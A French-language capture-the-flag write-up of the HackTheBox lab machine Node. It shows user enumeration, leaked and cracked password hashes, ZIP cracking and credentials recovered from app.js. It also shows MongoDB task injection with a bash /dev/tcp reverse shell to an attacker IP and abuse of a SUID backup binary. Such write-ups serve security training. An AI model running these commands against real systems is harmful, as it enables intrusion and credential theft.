> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md).

# Compte rendu HackTheBox de Node

{% embed url="<https://app.hackthebox.com/machines/Node>" %}

{% hint style="warning" %}
**Compétences :**

* Fuite d'informations
* Énumération de l'API
* Cassage de hashs
* Cassage du fichier ZIP
* Téléchargement de la sauvegarde - identifiants stockés
* Énumération MongoDB
* Injection de tâches Mongo - injection de commandes (pivotement d’utilisateur)
* Exploitation du binaire SUID de sauvegarde - analyse dynamique
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/592bf14b4246de19ece61c451eab2a1020342619" alt=""><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/a829181ce33345c821004b4c54c272580338d144" alt=""><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.58 -oG allPorts
```

<figure><img src="/files/a429bce889ea2d8281ab65fc239a2573424ac020" alt=""><figcaption></figcaption></figure>

/*/Analyse des ports ouverts avec extractPorts (22.3000) //*

Utilisation de la fonction extractPorts pour afficher les ports ouverts de manière concise et les copier dans le presse-papiers.

<figure><img src="/files/3164f48b802b07c6f43cae03c1178d408c66adc2" alt="" width="563"><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,3000 10.10.10.58 -oN targeted
```

<figure><img src="/files/d49be8799c494e6c647d9425910342bf8ee45b2a" alt=""><figcaption></figcaption></figure>

### **Port 22 - SSH**

Nous remarquons que la version est vulnérable à l'énumération des utilisateurs car elle est inférieure à la version 7.7. Cela permet d'essayer une liste d'utilisateurs.

En utilisant `searchsploit` pour trouver un exploit

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="/files/4012e2b0638e89a287967673ed738ce42e18b113" alt=""><figcaption></figcaption></figure>

Nous utilisons cet exploit pour vérifier si un utilisateur est valide ou non :

```bash
python2.7 45939.py 10.10.10.58 root 2>/dev/null
python2.7 45939.py 10.10.10.58 pepito 2>/dev/null
```

<figure><img src="/files/a5b914da3088282a954419e32bdc3cfeebc18d8d" alt=""><figcaption></figcaption></figure>

## Port 3000 - HTTP

Nous trouvons plusieurs utilisateurs potentiels : `tom`, `mark`, `rastating`.

<figure><img src="/files/f7bcf330870f7608fe596589b4897f05283588ed" alt=""><figcaption></figcaption></figure>

Énumération SSH avec `45939.py` pour tester les utilisateurs :

```bash
python2.7 45939.py 10.10.10.58 tom 2>/dev/null
python2.7 45939.py 10.10.10.58 mark 2>/dev/null
python2.7 45939.py 10.10.10.58 rastating 2>/dev/null
```

Nous remarquons que `tom` et `mark` sont des utilisateurs valides.

<figure><img src="/files/f04dcd5bf208b949c80893a861801d9217ab15b6" alt=""><figcaption></figcaption></figure>

### Liste des répertoires :

Nous utilisons `gobuster` pour énumérer les répertoires sur le port 3000 :

```bash
gobuster dir -u http://10.10.10.58:3000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 3861
```

Aucune information intéressante n’a été trouvée. Cependant, en explorant les requêtes réseau dans Firefox, nous trouvons un `dernier` fichier qui appelle une API.

<figure><img src="/files/b5c3fd2def6a8e673106e3eb0082b8297ed03eec" alt=""><figcaption></figcaption></figure>

### Exploration de l'API :

L'API contient une `/users` route qui renvoie des informations sensibles, y compris les hachages de mots de passe de plusieurs utilisateurs :

<figure><img src="/files/4972ca33281bb2d7db4ceb4f5365ebfea4efba6b" alt=""><figcaption></figcaption></figure>

* `myP14ceAdm1nAcc0uNT` : `dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af`
* `tom` : `f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240`
* `mark` : `de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73`
* `rastating` : `5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0`

<figure><img src="/files/014994d77d1e1289a892607cd4a01727066a2884" alt=""><figcaption></figcaption></figure>

### Cassage des mots de passe :

Nous utilisons `crackstation` pour casser les mots de passe des utilisateurs.

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/9d4e76ed1eaa9608995884da190194fa8353a406" alt=""><figcaption></figcaption></figure>

Les mots de passe décodés sont les suivants :

* `myP14ceAdm1nAcc0uNT` : `manchester`
* `tom`: `spongebob`
* `mark`: `snowflake`

<figure><img src="/files/30fa3d8fd6e2b0384bdd8658af7edb005620948e" alt=""><figcaption></figcaption></figure>

Nous parvenons à nous connecter avec l’utilisateur `myP14ceAdm1nAcc0uNT` dans le panneau d’administration.

<figure><img src="/files/3c6d77896712d28eaba4e28d5368e8ed68822774" alt=""><figcaption></figcaption></figure>

### Téléchargement de la sauvegarde :

Le `myP14ceAdm1nAcc0uNT` L’utilisateur nous permet de télécharger un fichier de sauvegarde.

<figure><img src="/files/fcf2f8646f726f0b18ececd2cf1172406e1ca993" alt=""><figcaption></figcaption></figure>

Le fichier téléchargé contient une chaîne Base64.

<figure><img src="/files/78e4db5d3e4fa5fa7a274a124ce06f1bf2478f43" alt=""><figcaption></figcaption></figure>

Nous la décodons en un fichier ZIP :

```bash
cat myplace.backup | base64 -d > myplace.zip
```

<figure><img src="/files/e72f1ee0c4d80b6c77d8c016efbd6a871bb38b0b" alt=""><figcaption></figcaption></figure>

### Brute force sur le fichier ZIP :

**Extraire le hachage avec `zip2john`**:

Nous allons donc utiliser zip2john pour extraire le hachage

```bash
zip2john myplace.zip > hash
```

<figure><img src="/files/3856069b0d314ccb8dcf0b03fbd23462d42e0613" alt=""><figcaption></figcaption></figure>

**Cassage du mot de passe avec `john`**:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

**Résultat**: Mot de passe trouvé - `magicword`

<figure><img src="/files/4bfb275fac6aafb8a345eaae5ae6a4797186c51f" alt=""><figcaption></figcaption></figure>

Nous parvenons à décompresser le fichier ZIP, qui contient une sauvegarde du site dans le `/var` répertoire.

<figure><img src="/files/ad05dc4cbdc98a451af714e25550d72608b7beb7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ae7c5b44ecd9bc74e55660f53f218c0613d3602d" alt=""><figcaption></figcaption></figure>

### Exploration de `app.js`:

Dans le `app.js` fichier, nous trouvons des informations sensibles, y compris un utilisateur (`mark`) et le mot de passe associé pour accéder à la base de données :

* `mark` : `5AYRft73VtFpc84k`

<figure><img src="/files/226c9269fc958588262c893109275563b498ff04" alt=""><figcaption></figcaption></figure>

#### Connexion SSH avec `mark`:

Nous utilisons les informations récupérées pour nous connecter en SSH avec l’utilisateur `mark`:

```bash
ssh mark@10.10.10.58 
```

Mot de passe : `5AYRft73VtFpc84k`

Nous avons maintenant accès à la machine cible.

<figure><img src="/files/815dc00bcdea28eb3bb47418e971a2640743dce1" alt=""><figcaption></figcaption></figure>

## Pivotement vers l’utilisateur Tom

Nous devons maintenant basculer vers l’utilisateur **tom**.

<figure><img src="/files/ea37a6762f9459845c271e98c0a19c2a857ce7b3" alt=""><figcaption></figcaption></figure>

### Connexion à la base MongoDB

En regardant les processus en cours, nous remarquons que **tom** exécute un `app.js` fichier avec Node.js.

<figure><img src="/files/5c73f8f992926f7a86ab305c81b0e40564bd7aa1" alt=""><figcaption></figcaption></figure>

Ce fichier se connecte à la `scheduler` base de données en utilisant les mêmes identifiants que l’utilisateur **mark**.

<figure><img src="/files/513c88ddcc84bacb1c796233fcb666c97b05cdf7" alt=""><figcaption></figcaption></figure>

Pour accéder à la base de données, nous utilisons les **mark** identifiants :

```bash
mongo --username mark --password 5AYRft73VtFpc84k --authenticationDatabase scheduler localhost:27017/scheduler
```

<figure><img src="/files/d7823cb39ad953902ea902f4d46d715ca0a5c474" alt=""><figcaption></figcaption></figure>

### Reverse shell MongoDB

Le `app.js` le script exécute des commandes système à partir de documents MongoDB (via `doc.cmd`). Cela représente une vulnérabilité critique, car des commandes arbitraires peuvent être injectées et exécutées.

<figure><img src="/files/46eac06a1904c8643fa0da06b54cf72746e3402a" alt=""><figcaption></figcaption></figure>

Pour confirmer que nous pouvons exécuter des commandes via MongoDB

**Créer un serveur web local**

Sur la machine attaquante, lancez un serveur web pour observer les requêtes :

```bash
python3 -m http.server 80
```

**Insérez une commande de test dans le `tâches` collection**

Dans MongoDB, insérez une commande qui effectue une requête HTTP vers votre machine attaquante

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**Observer les requêtes**

Si vous voyez une requête dans les journaux du serveur web, cela confirme que les commandes sont exécutées.

<figure><img src="/files/8eb9cc0e4c3147de78b7878688203082ba04efd5" alt=""><figcaption></figcaption></figure>

Lancez un shell inverse.

on se met en écoute sur le port 443

```bash
nc -nlvp 443
```

#### Lancer un shell inverse

**Configurer l’écoute sur le port 443** Sur la machine attaquante :

```bash
nc -nlvp 443
```

**Insérer la commande de shell inverse**

Dans MongoDB, insérez une commande pour établir un shell inverse :

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**Connexion réussie** Une fois la commande exécutée, vous obtenez un shell interactif sur la machine cible sous l’utilisateur **tom**.

<figure><img src="/files/67572adfe8eb735ab8c2282bc068e872d97728b7" alt=""><figcaption></figcaption></figure>

#### Stabilisation du terminal

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Drapeau user.txt :)

<figure><img src="/files/f37de105d90293c2da33d94f8d45452976317038" alt="" width="563"><figcaption></figcaption></figure>

## Élévation de privilèges

### Binaire SUID (sauvegarde)

Pour rechercher des fichiers avec le bit SUID activé, la commande suivante est utilisée :

```bash
find / -perm -4000 2>/dev/null
```

cela nous permet de trouver un binaire appelé `backup`.

<figure><img src="/files/454edc959a489aacf3175206f56d7804c74dded1" alt=""><figcaption></figcaption></figure>

Le propriétaire du binaire est `root`, ce qui signifie qu’il s’exécute avec les privilèges de l’utilisateur root.

<figure><img src="/files/f42cde850ece35a2aa4d8fa08abd1d08bc51fcda" alt=""><figcaption></figcaption></figure>

Lorsque nous essayons d'exécuter ce binaire directement, rien ne se passe. Cependant, en testant différentes entrées, nous découvrons qu'il accepte une chaîne de trois caractères séparés par des espaces, ce qui révèle les fonctions disponibles :

```bash
/usr/local/bin/backup a d g
```

<figure><img src="/files/a838e13f28a24b0e24fa8b0829c6334e29642eb7" alt=""><figcaption></figcaption></figure>

En regardant le `app.js` fichier, nous trouvons des informations sur l’utilisation du binaire, ainsi qu’une clé nécessaire à son exécution. La clé se trouve en haut du fichier.

<figure><img src="/files/772f39d05afe745d69eeb4c55d4d02cc0adca554" alt=""><figcaption></figcaption></figure>

Pour utiliser le binaire, nous devons fournir la clé, suivie du chemin du répertoire à enregistrer.

`45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`

<figure><img src="/files/2e19bb8af662588b1c57836d50f793ada53cac4f" alt=""><figcaption></figcaption></figure>

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
```

Cela génère une sortie en Base64.

<figure><img src="/files/2d9e3f0d8c0cc6195f444b50689e50ae9f7ce46a" alt=""><figcaption></figcaption></figure>

La sortie Base64 peut être décodée en un `.zip` fichier à l'aide de la commande suivante :

{% code overflow="wrap" %}

```bash
echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip
```

{% endcode %}

<figure><img src="/files/c522d3252cb0f5457cab42dc50ddc905165a96bf" alt=""><figcaption></figcaption></figure>

Le fichier zip est protégé par mot de passe. Nous utilisons le mot de passe trouvé précédemment

* mot de passe : `magicword`

Cependant, le `root.txt` fichier contenu dans l'archive est un leurre (fausse piste).

<figure><img src="/files/ae144a03753751c1906c4b90da688efade0cf382" alt=""><figcaption></figcaption></figure>

### Analyse détaillée avec `ltrace`

En utilisant `ltrace`, nous observons que le binaire compare le chemin `/root` avec celui fourni en argument. Si les chemins correspondent, il affiche un dessin animé de troll.

<figure><img src="/files/9ca99a2fccac28aa5855c214a5fdb77e399c78d4" alt=""><figcaption></figcaption></figure>

Pour contourner cette vérification, nous exécutons le binaire depuis la racine (`/`) en demandant une sauvegarde de `root`

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root
```

<figure><img src="/files/36bcf822adf1e6ec2c8d57b3dbb5f0c60744e934" alt=""><figcaption></figcaption></figure>

La nouvelle version est aussi en Base64. Nous la décodons pour obtenir le contenu final :

{% code overflow="wrap" %}

```bash
echo "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" | base64 -d > root.zip
```

{% endcode %}

### Drapeau root.txt :)

En extrayant le fichier final, nous accédons au contenu souhaité.

<figure><img src="/files/05cdb14da09f584ed71d51ee1d9aea173f316a3b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dacb4eb7b7018179eb90187060e02a6a05c31d76" alt="" width="513"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
